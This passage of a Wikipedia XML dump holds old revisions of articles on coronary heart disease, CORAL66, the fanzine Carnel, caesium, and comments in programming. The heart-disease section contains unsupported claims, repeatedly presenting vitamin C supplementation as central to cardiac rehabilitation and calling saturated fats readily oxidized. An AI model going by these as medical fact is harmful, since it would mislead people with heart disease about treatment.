Angina that changes in intensity, character or frequency is termed unstable. Unstable angina may precede myocardial infarction, and requires urgent medical attention. It is treated with oxygen, intravenous nitroglycerin, and morphine. Interventional procedures such as [[angioplasty]] may be done.

==Prevention==
Coronary heart disease is the most common form of heart disease in the Western world. Prevention centers on the modifiable risk factors, which include decreasing [[cholesterol]] levels, addressing [[obesity]] and [[hypertension]], avoiding a [[sedentary lifestyle]], making healthy dietary choices, and [[smoking cessation|stopping smoking]]. There is some evidence that lowering [[uric acid]] and [[homocysteine]] levels may contribute. In [[diabetes mellitus]], there is little evidence that [[blood sugar]] control actually improves cardiac risk. Some recommend a diet rich in omega-3 fatty acids and [[vitamin C]].  In terms of [[hypertension reduction]] it has been demonstrated that removing the person from a high noise environment can contribute to [[vasoconstriction]] reduction (Rosen, 1965).

An increasingly growing number of other [[physiological]] markers and [[homeostatic]] mechanisms are currently under scientific investigation.

Individuals with CHD are advised to avoid fats that are readily oxidized (e.g., saturated fats and trans-fats), limit carbohydrates and processed sugars to reduce production of [[Low density lipoprotein]]s while increasing [[High density lipoprotein]]s, keeping [[blood pressure]] normal, exercise and stop smoking.  These measures limit the progression of the disease.  Recent studies have shown that dramatic reduction in LDL levels can cause mild regression of coronary heart disease.

Risk factor management is carried out during cardiac rehabilitation, a 4-phase process beginning in hospital after MI, angioplasty or heart surgery and continuing for a minimum of three months. Exercise and Vitamin C supplementation is a main component of cardiac rehabiltation along with diet, smoking cessation and blood pressure and cholesterol management.

===Preventive Diets===
====Vegetarian Diet====
[[Vegetarianism|Vegetarians]] have been shown to have a 24% reduced risk of dying of heart disease (source: Key TJ, Fraser GE, et al. 1999, Sep. Mortality in vegetarians and nonvegetarians: detailed findings from a collaborative analysis of 5 prospective studies. Am J Clin Nutr, 70:516S-524S).  This is not surprising, as plant foods are low in saturated fat and have no cholesterol.

The most powerful cholesterol-lowering agents are soluble fiber, unsaturated fats, and phytochemicals, all of which are found almost exclusively in plant foods.  In the seventeen studies conducted between 1978 and 2002, the average vegan’s cholesterol level was a mere 160 mg/dl, while the average non-vegetarian’s cholesterol was 202 mg/dl. (source: Norris, J. 2003, March. Making Sense of Nutritional Research.)

Physicians such as Dr. Dean Ornish and Dr. Caldwell Esselstyn have actually stopped and even reversed heart disease in patients by putting them on programs that include plant-based diets that are high in Vitamin C.

Despite the strong benefits of a vegetarian diet, it is likely that with a few changes to the typical vegetarian diet, the risks of heart disease could be reduced even further.  Vegetarian diets are sometimes low in Vitamin B12, which can lead to increased [[homocysteine]] levels--a risk factor for heart diease.  Since vegetarians don't eat fish, some vegetarians don't have high intakes of Omega-3 fatty acids.  There is strong evidence that higher intakes of Omega-3 fatty acids reduce the risk of heart disease.  Both of these shortcomings can be easily overcome by taking a vitamin B12 supplement and increasing intake of omega-3 fatty acids via ground flax seeds or flax oil, walnuts, and canola oil.  There is some evidence that flax may be even more  beneficial than fish oil in its effectiveness in reducing C-reactive protein, an indicator of heart disease.

====Cretan Mediterranean-Style diet====
The Seven Country Study found that Cretan men had exceptionally low death rates from heart disease, despite moderate to high intake of fat.  The Cretan diet is similar to other traditional Mediterranean diets: consisting mostly of olive oil, bread, abundant fruit and vegetables, a moderate amount of wine and a small amount of animal products.  However, the Cretan diet consisted of less fish and wine consumption than some other Mediterranean-style diets, such as the diet in Corfu, another region of Greece, which had higher death rates.

The Lyon Heart Study set out to mimic the Cretan diet, but adopted a pragmatic approach.  Realizing that some of the people in the study would be reluctant to move from butter to olive oil, they used a margarine based on rapeseed (canola) oil.  The dietary change also included 20% increases in vitamin C rich fruit and bread and decreases in processed and red meat.  On this diet, mortality from all causes was reduced by 70%.  This study was so successful that the ethics committee decided to stop the study prematurely so that the results of the study could be made available to the public immediately.

==Bibliography==
[[S. Rosen]] and P. Olin, ''Hearing Loss and Coronary [[Heart Disease]]'', Archives of [[Otollaryngology]], 82:236 (1965)

== Recent research ==
Controversial research has recently suggested a link between the [[atherosclerosis]]-causing CHD and the presence of [[nanobacteria]] in the arteries. However, trials of currently available antibiotics known to inhibit or kill some of these microorganisms have not shown much benefit to patients. If an infectious role were found to be a significant factor, this could have important implications for treatment and prevention of the disease beyond the many current, proven strategies.  See [[atheroma]] &amp; [[atherosclerosis]]

Ornisch has suggested that coronary heart disease is partially reversible using an intense dietary regime such as the Cretan diet coupled with regular cardio exercise.

== External links ==
* [http://www.invisionguide.com/heart The InVision Guide to a Healthy Heart] An interactive website on the development and function of the cardiovascular system and cardiovascular diseases and consequences.  The website also features treatment options and preventative measures for maintaining a healthy heart.

[[Category:Cardiovascular diseases]]
[[Category:Ischemic heart disease]]

[[de:Koronare Herzkrankheit]]
[[es:Síndrome coronario agudo]]
[[he:מחלת לב כלילית]]
[[pt:Doenças das coronárias]]
[[vi:Bệnh tim mạch vành]</text>
    </revision>
  </page>
  <page>
    <title>CORAL66</title>
    <id>5877</id>
    <revision>
      <id>15904066</id>
      <timestamp>2002-07-30T15:40:23Z</timestamp>
      <contributor>
        <username>Derek Ross</username>
        <id>33</id>
      </contributor>
      <minor />
      <comment>redirect redundant page</comment>
      <text xml:space="preserve">#REDIRECT [[CORAL66 programming language]]</text>
    </revision>
  </page>
  <page>
    <title>Carnel</title>
    <id>5878</id>
    <revision>
      <id>36713160</id>
      <timestamp>2006-01-25T23:37:02Z</timestamp>
      <contributor>
        <username>Seancdaug</username>
        <id>132265</id>
      </contributor>
      <comment>recategorization: added to [[Category:Role-playing game magazines]], and added {{rpg-stub}}</comment>
      <text xml:space="preserve">'''''Carnel''''' is a [[United Kingdom]] [[role-playing game]] [[fanzine]]. It is dedicated to discussions of [[roleplaying]] and &quot;non-system bound&quot; articles and scenarios. The first issue was published in [[1994]].

==External links==
*[http://carnel.sdf-eu.org/carnel Homepage]

{{mag-stub}}
{{rpg-stub}}
[[Category:Fanzines]]
[[Category:Role-playing game magazines]]</text>
    </revision>
  </page>
  <page>
    <title>Caesium</title>
    <id>5879</id>
    <revision>
      <id>40686572</id>
      <timestamp>2006-02-22T08:10:51Z</timestamp>
      <contributor>
        <username>Anthony Appleyard</username>
        <id>119438</id>
      </contributor>
      <comment>/* Notable characteristics */</comment>
      <text xml:space="preserve">{{Elementbox_header | number=55 | symbol=Cs | name=caesium | left=[[xenon]] | right=[[barium]] | above=[[rubidium|Rb]] | below=[[francium|Fr]] | color1=#ff6666 | color2=black }}
{{Elementbox_series | [[alkali metal]]s }}
{{Elementbox_groupperiodblock | group=1 | period=6 | block=s }}
{{Elementbox_appearance_img | Cs,55| silvery gold }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|132.9054519]][[List of elements by atomic mass|(2)]] }}
{{Elementbox_econfig | &amp;#91;[[xenon|Xe]]&amp;#93; 6s&lt;sup&gt;1&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 18, 18, 8, 1 }}
{{Elementbox_section_physicalprop | color1=#ff6666 | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | 1.93 }}
{{Elementbox_densityliq_gpcm3mp | 1.843 }}
{{Elementbox_meltingpoint | k=301.59 | c=28.44 | f=83.19 }}
{{Elementbox_boilingpoint | k=944 | c=671 | f=1240 }}
{{Elementbox_heatfusion_kjpmol | 2.09 }}
{{Elementbox_heatvaporiz_kjpmol | 63.9 }}
{{Elementbox_heatcapacity_jpmolkat25 | 32.210 }}
{{Elementbox_vaporpressure_katpa | 418 | 469 | 534 | 623 | 750 | 940 | comment= }}
{{Elementbox_section_atomicprop | color1=#ff6666 | color2=black }}
{{Elementbox_crystalstruct | cubic body centered }}
{{Elementbox_oxistates | 1&lt;br /&gt;(strongly [[base (chemistry)|basic]] oxide) }}
{{Elementbox_electroneg_pauling | 0.79 }}
{{Elementbox_ionizationenergies3 | 375.7 | 2234.3 | 3400 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|260]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|298]] }}
{{Elementbox_covalentradius_pm | [[1 E-10 m|225]] }}
{{Elementbox_section_miscellaneous | color1=#ff6666 | color2=black }}
{{Elementbox_magnetic | no data }}
{{Elementbox_eresist_ohmmat20 | 205 n}}
{{Elementbox_thermalcond_wpmkat300k | 35.9 }}
{{Elementbox_thermalexpansion_umpmkat25 | 97 }}
{{Elementbox_youngsmodulus_gpa | 1.7 }}
{{Elementbox_bulkmodulus_gpa | 1.6 }}
{{Elementbox_mohshardness | 0.2 }}
{{Elementbox_brinellhardness_mpa | 0.14 }}
{{Elementbox_cas_number | 7440-46-2 }}
{{Elementbox_isotopes_begin | isotopesof=caesium | color1=#ff6666 | color2=black }}
{{Elementbox_isotopes_stable | mn=133 | sym=Cs | na=100% | n=78 }}
{{Elementbox_isotopes_decay2 | mn=134 | sym=Cs
 | na=[[synthetic radioisotope|syn]] | hl=65.159 [[second|Ms]]&lt;br /&gt;(2.0648[[years|y]])
 | dm1=[[electron capture|&amp;epsilon;]] | de1=1.229 | pn1=134 | ps1=[[xenon|Xe]]
 | dm2=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de2=2.059 | pn2=134 | ps2=[[barium|Ba]] }}
{{Elementbox_isotopes_decay | mn=135 | sym=Cs
 | na=[[trace radioisotope|trace]] | hl=73 [[second|Ts]]&lt;br /&gt;(2,300,000y)
 | dm=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de=0.269 | pn=135 | ps=[[barium|Ba]] }}
{{Elementbox_isotopes_decay | mn=137 | sym=Cs
 | na=[[synthetic radioisotope|syn]] | hl=948.9 Ms&lt;br /&gt;(30.07y)
 | dm=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de=1.176 | pn=137 | ps=[[barium|Ba]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ff6666 | color2=black }}

'''Caesium''' (also '''cesium''' in the [[United States]]) pronounced {{IPA|/ˈsiːziəm/}}; is a [[chemical element]] in the [[periodic table]] that has the symbol '''Cs''' and [[atomic number]] 55. It is a soft silvery-gold [[alkali metal]] which is one of at least three [[metal]]s that are liquid at or near [[room temperature]]. This element is most notably used in [[atomic clock]]s. 

The variant spelling ''cesium'' is sometimes used, especially in [[North American English]], but ''caesium'' is the spelling used by the [[IUPAC]], although since [[1993]] it has recognized ''cesium'' as a variant as well.

==Notable characteristics==
The [[electromagnetic spectrum]] of caesium has two bright lines in the [[blue]] part of the spectrum along with several other lines in the [[red]], [[yellow]], and [[green]]. This metal is silvery gold in [[color]] and is both soft and ductile. Caesium is also the most [[electropositive]] and most [[alkaline]] of the stable [[chemical element]]s and also has the least [[ionization potential]] of all the elements, except for [[francium]]. Caesium is the least abundant of the five non-radioactive alkali metals.  (Technically, [[francium]] is the least common alkali metal, but since it is highly radioactive with less than 30 grams in the entire earth at one time, its abundance can be considered zero in practical terms.)

Along with [[gallium]], francium and [[mercury (element)|mercury]], caesium is among the only metals that are liquid at or near room [[temperature]]. Caesium reacts explosively in cold [[water]] and also reacts with ice at temperatures above &amp;minus;116°C. Caesium [[hydroxide]] (CsOH) is a very strong [[base (chemistry)|base]] and will rapidly etch the surface of [[glass]].

There is an account that caesium, reacting with [[fluorine]], takes up more fluorine that it [[stoichometry|stoichometric]]ally should. It could be that, after the salt Cs&lt;sup&gt;+&lt;/sup&gt;F&lt;sup&gt;&amp;minus;&lt;/sup&gt; has formed, the Cs&lt;sup&gt;+&lt;/sup&gt; ion, which has the same electronic structure as [[xenon#Compounds|xenon]], acts like xenon and forms a covalent fluoride such as Cs&lt;sup&gt;+&lt;/sup&gt;F&lt;sub&gt;2&lt;/sub&gt;.

==Applications==
Caesium is most notably used in [[atomic clock]]s, which are accurate to seconds in many thousands of years. Since 1967, the [[SI|International System of Measurements]] bases its unit of [[time]], the [[second]], on the properties of caesium. SI defines the [[second]] as 9,192,631,770 cycles of the [[Radioactive decay|radiation]] which corresponds to the transition between two [[energy level|energy levels]] of the [[ground state]] of the caesium-133 [[atom]].

*Cs-134 has been used in [[hydrology]] as a measure of caesium output by the [[nuclear power]] industry. This [[isotope]] is used because, while it is less prevalent than either Cs-133 or [[Cs-137]], Cs-134 can be produced solely by nuclear reactions. Cs-135 has also been used in this function.  
*Like other group 1 elements, caesium has a great affinity for [[oxygen]] and is used as a &quot;[[getter]]&quot; in [[vacuum tube]]s.  
*This metal is also used in [[photoelectric cell]]s.  
*In addition, caesium is used as a [[catalyst]] in the [[hydrogenation]] of certain [[organic compound]]s.  
*[[Radioactive decay|Radioactive]] isotopes of caesium are used in the medical field to treat certain types of [[cancer]].
*[[Caesium fluoride]] is widely used in [[organic chemistry]] as a [[base]] and as a source of [[anhydrous]] [[fluoride]] ion.
*Caesium vapor is used in many common [[magnetometers]].
*Because of their high density, [[Caesium chloride]] solutions are commonly used in molecular biology for density gradient ultracentrifugation, primarily for the isolation of nucleic acids from biological samples.
*More recently this metal has been used in [[ion propulsion]] systems.

==History==
Caesium ([[Latin]] ''caesius'' meaning &quot;sky blue&quot;) was [[spectroscopy|spectroscopically]] discovered by [[Robert Bunsen]] and [[Gustav Kirchhoff]] in [[1860]] in [[mineral water]] from Dürkheim, Germany. Its identification was based upon the bright blue 
lines in its spectrum and it was the first element discovered by spectrum analysis. The first caesium metal was produced in [[1881]]. Historically, the most important use for caesium has been in research and development, primarily in chemical and electrical applications.

==Occurrence==
[[Image:Pollucite(CesiumMineral)USGOV.jpg|thumb|left|Pollucite, a caesium mineral]]
An alkali metal, caesium occurs in [[lepidolite]], [[pollucite]] ([[hydrate]]d [[silicate]] of [[aluminium]] and caesium) and within other sources. One of the world's most significant and rich sources of this metal is located at [[Bernic Lake]] in [[Manitoba]]. The deposits there are estimated to contain 300,000 [[tonne|metric ton]]s of pollucite at an average of 20% caesium.  

It can be isolated by [[electrolysis]] of fused [[cyanide]] and in a number of other ways.  
Exceptionally pure and gas-free caesium can be made by the thermal decomposition of caesium [[azide]].  
The primary compounds of caesium are its [[chloride]] and its [[nitrate]]. The price of caesium in 1997 was about $US 30 per gram.
; see also [[:category:Caesium minerals]]

==Isotopes==
Caesium has at least 39 known isotopes which is more than any other element, except [[francium]]. The [[atomic mass]]es of these isotopes range from 112 to 151. 
Even though this element has the largest number of isotopes, it has only one naturally occurring stable [[isotope]], Cs-133, the other isotopes (except for the isotopes noted on this page) have [[half-life|half-lives]] from a few days to fractions of a second. The [[radiogenic]] isotope Cs-137 has been used in hydrologic studies, analogous to the use of H-3 ([[tritium]]). Cs-137 is produced from the detonation of [[nuclear weapon]]s and is produced in [[nuclear power plant]]s, and notably from the 1986 [[Chernobyl]] meltdown.  Beginning in [[1954]] with the commencement of [[nuclear testing]], Cs-137 was released into the [[Earth's atmosphere|atmosphere]] where it is absorbed readily into solution. Once Cs-137 enters the ground water, it is deposited on soil surfaces and removed from the landscape primarily by [[particle transport]]. As a result, the input function of these isotopes can be estimated as a function of time.

==Precautions==
All alkaline metals are highly reactive. Caesium, being one of the heavier [[alkaline]] [[metal]]s, is also one of the most reactive and is highly [[explosive]] in cold [[water]]. Caesium should be considered highly [[toxic]]. Some of its [[radioisotope]]s are even more toxic. [[Caesium hydroxide]] is an extremely strong [[base]], and can attack [[glass]].

==See also==
*[[Cs-137]]
*[[Goiânia accident]] - a major radioactive contamination incident involving a small rod of caesium chloride.

==References==
*[http://periodic.lanl.gov/elements/55.html Los Alamos National Laboratory - Cesium]

==External links==
{{Commons|Caesium}}
*[http://www.webelements.com/webelements/elements/text/Cs/index.html WebElements.com &amp;ndash; Caesium]
*[http://www.cs.rochester.edu/users/faculty/nelson/cesium/cesium_faq.html FAQ from alt.cesium newsgroup]

[[Category:Chemical elements]]
[[Category:Alkali metals]]

&lt;!-- interwiki --&gt;

[[bg:Цезий]]
[[bs:Cezij]]
[[ca:Cesi]]
[[cs:Cesium]]
[[de:Cäsium]]
[[et:Tseesium]]
[[es:Cesio]]
[[eo:Cezio]]
[[fr:Césium]]
[[gl:Cesio (elemento)]]
[[ko:세슘]]
[[hr:Cezij]]
[[io:Cesio]]
[[id:Sesium]]
[[is:Sesín]]
[[it:Cesio (elemento)]]
[[he:צסיום]]
[[ku:Sezyûm]]
[[lv:Cēzijs]]
[[lt:Cezis]]
[[hu:Cézium]]
[[nl:Cesium]]
[[ja:セシウム]]
[[no:Cesium]]
[[nn:Cesium]]
[[pl:Cez]]
[[pt:Césio]]
[[ru:Цезий]]
[[sl:Cezij]]
[[sr:Цезијум]]
[[fi:Cesium]]
[[sv:Cesium]]
[[th:ซีเซียม]]
[[uk:Цезій]]
[[zh:铯]]</text>
    </revision>
  </page>
  <page>
    <title>Comment</title>
    <id>5880</id>
    <revision>
      <id>40361393</id>
      <timestamp>2006-02-20T01:33:57Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{wiktionary}}

In [[computer programming]], '''comments''' are a [[programming language]] construct that provides a mechanism for embedding information in the [[source code]] that is (generally) ignored by [[compiler]]s but may be of use to [[software developer]]s or other [[programming tool]]s that process the source.

Comments may be one of the most talked about language constructs within computer programming circles.  They are a subject that crosses programming language boundaries and anybody who writes software can have their own opinion about them as there is almost no experimental evidence backing up any of the claims made about comments.  Some people believe that comments are unnecessary because code should be written in a way that makes it self explanatory (it is not uncommon to encounter source code that contains no comments); other people believe that source code should be extensively commented (it is not uncommon for over 50% of the non-whitespace characters in source code to be contained within comments).

==Types==

There are generally two types of comments: '''block comments''' and '''line comments'''.

'''Block comments''' are delimited by a sequence of characters that mark the start of the comment and continue until the sequence of characters that mark the end of the comment.  Block comments are allowed to span multiple lines of the source code.  Typically, block comments do not nest, so any comment start delimiter encountered within a comment body is ignored. Some languages allow nested block comments to facilitate using comments to comment-out blocks of code that may itself contain block comments.

'''Line comments''' on the other hand either start with a comment delimiter and continue until the end of the line, or in some cases, start at a specific column (character line offset) in the source code and continue until the end of the line.

Many programming languages employ both block and line comments with different comment delimiters.  For example, [[C++]] has block comments delimited by &lt;code&gt;/*&lt;/code&gt; and &lt;code&gt;*/&lt;/code&gt; that can span multiple lines and line comments delimited by &lt;code&gt;//&lt;/code&gt;.

==Usage==

Comments could summarise code or explain the programmer's intent. This is called the ''why rather than how'' approach. The two are often close, but not always. According to this school of thought, restating the code in plain English may be a waste of time; the need to explain the code may be a sign that it is too complex and should be rewritten.

:&quot;Don't document bad code &amp;ndash; rewrite it&quot; (''[[The Elements of Programming Style (book)|The Elements of Programming Style]]'', [[Brian Kernighan|Kernighan]] &amp; [[P. J. Plauger|Plauger]]).

:&quot;Good comments don't repeat the code or explain it. They clarify its intent. Comments should explain, at a higher level of abstraction than the code, what you're trying to do.&quot; (''[[Code Complete]]'', [[Steve McConnell|McConnell]])

Comments could also be used to guide a new programmer through source code that performs some task. In this case almost every line could be commented. New programmers can gain much insight in various branches of programming and computer science by reading through extensively commented source code. Typical things that could be commented on are function calls and arguments, algorithms used, and caveats.

Sometimes a programmer thinks up a neat trick to perform a certain task. Comments could in this case provide an explanation of the trick used. Although the ''why rather than how'' approach discourages such comments, sometimes an explanation is just what is needed to make a future programmer understand what a certain piece of source code is doing. This might especially be true in the case of rarely-used optimizations, constructs or function-calls. For example, a programmer may add a comment to explain why an [[insertion sort]] was chosen instead of a [[quicksort]], as the former is, in theory, slower than the latter. This could be written as follows:

 list = [f (b), f (b), f (c), f (d), f (a), ...];
 // Need a stable sort. Besides, the performance really does not matter.
 insertion_sort (list);

[[Logo]]s, diagrams, and [[flowcharts]] consisting of [[ASCII art]] constructions can be inserted into source code formatted as a comment. Additionally, [[copyright]] notices can be embedded within source code as comments.

In debugging, programmers will sometimes mark a code fragment as a comment, such that the program will not compile or interpret it. This is called ''commenting out'' the fragment.

==Styles==

Comment styles are often agreed upon before a project starts. Usually programmers prefer styles that are easy to modify and difficult to break.

For example, C-style comments could look like this
 /*
 
     This is the comment body.
 
 */
or maybe this
 /***************************\
 *                           *
 * This is the comment body. *
 *                           *
 \***************************/

If a programmer's editor doesn't manage the second variant automatically, it may discourage changes to the comments, thus leading to comments which are out of date with respect to the code. On the other hand, the visibility of the second comment variant is much higher.

Some people, such as [[Allen Holub]] (in his book ''Enough Rope to Shoot Yourself in the Foot'', ISBN 0-07-029689-8, 1995, McGraw-Hill), advocate aligning the left edges of comments:

 /* This is the style recommended by Holub for C and C++.
  * It is demonstrated in ''Enough Rope'', in rule 29.
  */

 /* This is another way to do it, also in C.
 ** It is easier to do in editors that do not automatically indent the second
 ** through last lines of the comment one space from the first.
 ** It is also used in Holub's book, in rule 31.
 */

Different styles can be chosen for different areas of code, from individual lines to paragraphs, routines, files, and programs. If the syntax supports both line comments and block comments, one approach is to use line comments only for minor comments (declarations, blocks and edits) and to use block comments to descibe higher-level abstractions (functions, classes, files and modules).

Certain projects try to define rules like &quot;one comment every ten lines&quot;. They can be counterproductive when adhered to with too much rigor, but might still be of use when one wants to quickly judge after writing a body of code whether one needs to check if enough comments are in place.

==Automatic documentation generation==

Some programming tools can read structured information in comments in order to generate documentation automatically. Automatic documentation generation from the comments in the source code allows the documentation of the interface and use of the code to be maintained in the source file with the code, but to be viewed in independent stand-alone documentation. Keeping the documentation close to the code makes it easier, and thus more likely, to keep the documentation up to date with changes in the code.

Examples of documenation generators include the [[javadoc]] program, designed to be used with the [[Java programming language]], [[Ddoc]] for the [[D programming language]] and [[doxygen]], to be used with [[C++]], [[C programming language|C]], Java, [[Interface description language|IDL]] and others.

[[C Sharp programming language|C#]] implements a similar feature called &quot;XML Comments&quot; which are read by [[IntelliSense]] from the compiled [[.NET Framework|.NET]] assembly. The next revision of [[Visual Basic]] will also feature this.

==Other uses==

Developer tools might store &quot;meta&quot; data in comments, such as insert positions for automatic header file inclusion, commands to set the file's [[syntax highlighting]] mode, or the file's [[revision control|revision number]]. These functional control comments are commonly referred to as [[annotation]]s.

==Examples==

===Summary===

(''the word &quot;&lt;code&gt;''comment''&lt;/code&gt;&quot; in italics is used here, as an example of a comment''):
* [[Ada programming language|Ada]], [[Eiffel programming language|Eiffel]], [[Occam programming language|Occam]], [[SPARK programming language|SPARK]], ANSI [[SQL]], and [[VHDL]]:
**&lt;code&gt;--''comment''&lt;/code&gt;
* [[Algol 60|ALGOL 60]]:
**&lt;code&gt;comment ''comment'';&lt;/code&gt;
* [[Algol 68|ALGOL 68]]:
**&lt;code&gt;¢ ''comment'' ¢&lt;/code&gt;
**&lt;code&gt;&lt;u&gt;comment&lt;/u&gt; ''comment'' &lt;u&gt;comment&lt;/u&gt;&lt;/code&gt;
**&lt;code&gt;&lt;u&gt;co&lt;/u&gt; ''comment'' &lt;u&gt;co&lt;/u&gt;&lt;/code&gt;
**&lt;code&gt;# ''comment'' #&lt;/code&gt;
**&lt;code&gt;£ ''comment'' £&lt;/code&gt;
*[[AppleScript]]:
**&lt;code&gt;(*''comment''*)&lt;/code&gt;
**&lt;code&gt;--''comment''&lt;/code&gt;
*[[Assembly language]]: (varies)
**&lt;code&gt;; ''comment''&lt;/code&gt;&amp;nbsp;&amp;nbsp; one example (most assembly languages use line comments only)
*[[BASIC programming language|BASIC (various dialects)]]:
**&lt;code&gt;&amp;#39;''comment''&lt;/code&gt; (not all dialects)
&lt;!-- note that &amp;#39; is ' but doesn't mess up the parser, now or in the future --&gt;
**&lt;code&gt;REM ''comment''&lt;/code&gt;
*[[C programming language|C (K&amp;R, ANSI/C89/C90)]], [[CHILL programming language|CHILL]], [[Cascading Style Sheets|CSS]], [[PL/I]], and [[REXX]]:
**&lt;code&gt;/* ''comment'' */&lt;/code&gt;
*[[C programming language#C99|C (C99)]], [[C++]], [[C Sharp|C#]], and [[JavaScript]]:
**&lt;code&gt;/* ''comment'' */&lt;/code&gt;
**&lt;code&gt;// ''comment''&lt;/code&gt;
*[[D programming language|D]]:
**&lt;code&gt;/* ''comment'' */&lt;/code&gt;
**&lt;code&gt;// ''comment''&lt;/code&gt;
**&lt;code&gt;/+ ''comment'' +/&lt;/code&gt;
*[[Delphi programming language|Delphi (Object Pascal)]]:
**&lt;code&gt;(* ''comment'' *)&lt;/code&gt;
**&lt;code&gt;{&amp;nbsp;&amp;nbsp;''comment''&amp;nbsp;&amp;nbsp;}&lt;/code&gt;
**&lt;code&gt;// ''comment''&lt;/code&gt;
*[[DIGITAL Command Language|DCL]]:
**&lt;code&gt;$! ''comment''&lt;/code&gt;
*[[FORTH]]:
**&lt;code&gt;( ''comment'' )&lt;/code&gt;
**&lt;code&gt;\ ''comment''&lt;/code&gt;
*[[Fortran]]:
**&lt;code&gt;C&lt;nowiki&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/nowiki&gt;''comment''&lt;/code&gt; (exactly 6 columns between &lt;code&gt;C&lt;/code&gt; character and ''comment'') 
*[[Fortran 90]]:
**&lt;code&gt;! ''comment''&lt;/code&gt;
&lt;!-- looking for HTML? look under SGML, as HTML is an SGML application. --&gt;
*[[HTML]] (''see'' SGML below)
*[[Java programming language|Java]]:
**&lt;code&gt;/** ''comment'' */&lt;/code&gt;&amp;nbsp;&amp;nbsp; (Javadoc documentation comment)
**&lt;code&gt;/* ''comment'' */&lt;/code&gt;
**&lt;code&gt;// ''comment''&lt;/code&gt;
*[[Lisp programming language|Lisp]] and [[Scheme programming language|Scheme]]
**&lt;code&gt;; ''comment''&lt;/code&gt;
*[[ToolBook OpenScript]]:
**&lt;code&gt;-- ''comment''&lt;/code&gt;
*[[Pascal programming language|Pascal]], [[Modula-2]], [[Modula-3]], [[Oberon programming language|Oberon]], and [[ML programming language|ML]]:
**&lt;code&gt;(* ''comment'' *)&lt;/code&gt;
*[[Perl]], [[Python programming language|Python]], [[C shell]], [[Bash]], [[Bourne shell]], [[Tcl]], [[AWK programming language|AWK]], and [[Maple computer algebra system|Maple]]:
**&lt;code&gt;# ''comment'' &lt;/code&gt;
*[[PHP]]:
**&lt;code&gt;#&amp;nbsp;&amp;nbsp;''comment''&lt;/code&gt;
**&lt;code&gt;// ''comment''&lt;/code&gt;
**&lt;code&gt;/* ''comment'' */&lt;/code&gt;
*[[PILOT]]:
**&lt;code&gt;R:''comment''&lt;/code&gt;
*[[PL/SQL]] and [[TSQL]]:
**&lt;code&gt;/* ''comment'' */&lt;/code&gt;
**&lt;code&gt;-- ''comment''&lt;/code&gt;
*[[REALbasic]]:
**&lt;code&gt;' ''comment''&lt;/code&gt;
**&lt;code&gt;// ''comment''&lt;/code&gt;
**&lt;code&gt;rem ''comment''&lt;/code&gt;
*[[Ruby programming language|Ruby]]:
**&lt;code&gt;# ''comment'' &lt;/code&gt;
**&lt;code&gt;=begin&lt;br/&gt;''comment''&lt;br/&gt;=end&lt;/code&gt;
*[[Seed7]]:
**&lt;code&gt;(* ''comment'' *)&lt;/code&gt;
**&lt;code&gt;# ''comment''&lt;/code&gt;
*[[SGML]], including [[HTML]], and [[MediaWiki]]
*:A comment declaration starts with &lt;code&gt;&amp;lt;!&lt;/code&gt;, followed by zero or more comments, followed by &lt;code&gt;&amp;gt;&lt;/code&gt;. A comment starts and ends with &lt;code&gt;--&lt;/code&gt;, and does not contain any occurrence of &lt;code&gt;--&lt;/code&gt;. Valid examples are:
**&lt;code&gt;&amp;lt;!-- ''comment'' -- -- ''comment'' --&amp;gt;&lt;/code&gt;,
**&lt;code&gt;&amp;lt;!------ ''comment'' --&amp;gt;&lt;/code&gt;, or
**&lt;code&gt;&amp;lt;!&amp;gt;&lt;/code&gt;.
*[[TeX]], [[LaTeX]], [[PostScript]], and [[Erlang programming language|Erlang]]:
**&lt;code&gt;% ''comment''&lt;/code&gt;
*[[Texinfo]]:
**&lt;code&gt;@c ''comment''&lt;/code&gt;
**&lt;code&gt;@comment ''comment''&lt;/code&gt;
*[[TUTOR programming language|TUTOR]]
**&lt;code&gt;* ''comment''
**&lt;code&gt;''command''       $$ ''comment''
*[[Visual Basic]]:
**&lt;code&gt;'''comment''&lt;/code&gt;
**&lt;code&gt;Rem ''comment''&lt;/code&gt;
*[[XML]], including [[XHTML]]
**&lt;code&gt;&amp;lt;!--''comment''--&amp;gt;&lt;/code&gt; (comment must not contain &lt;code&gt;--&lt;/code&gt; or start or end with &lt;code&gt;-&lt;/code&gt;)

If there are two markers delimiting the word &lt;code&gt;comment&lt;/code&gt;, then they should be included at the beginning and end of the comment. If there is one, it begins at the start of the comment character(s) and ends at the end of the line. An exception to this is [[PILOT]], where a new &quot;command letter&quot; may begin right after a comment, on the same line. Also note that line continuation may apply.

===In-context===

====C====

&lt;pre&gt;
/*
 * Check if we are over our maximum process limit, but be sure to
 * exclude root. This is needed to make it possible for login and
 * friends to set the per-user process limit to something lower
 * than the amount of processes root is running. -- Rik
 */
if (atomic_read(&amp;p-&gt;user-&gt;processes) &gt;= p-&gt;rlim[RLIMIT_NPROC].rlim_cur
    &amp;&amp; !capable(CAP_SYS_ADMIN) &amp;&amp; !capable(CAP_SYS_RESOURCE))
    goto bad_fork_free;
&lt;/pre&gt;
(This is from the &lt;code&gt;fork.c&lt;/code&gt; file from the [[Linux kernel]] source)

====Java====

&lt;pre&gt;
/**
 * Registers the text to display in a tool tip.   The text 
 * displays when the cursor lingers over the component.
 *
 * @param text  the string to display.  If the text is null, 
 *              the tool tip is turned off for this component.
 */
public void setToolTipText(String text) {
&lt;/pre&gt;
(from the [[Sun Microsystems]] [[javadoc]] documentation; the comment is designed to be read by the javadoc processor)

====Perl====

&lt;pre&gt;
&amp;#35; a strange way to check whether any significant editing
&amp;#35; have been done: check whether any new non-empty lines
&amp;#35; have been added. Yes, the below code ignores *any* space
&amp;#35; in *any* line.
while (&lt;REP&gt;) {
    s/\s+//g;
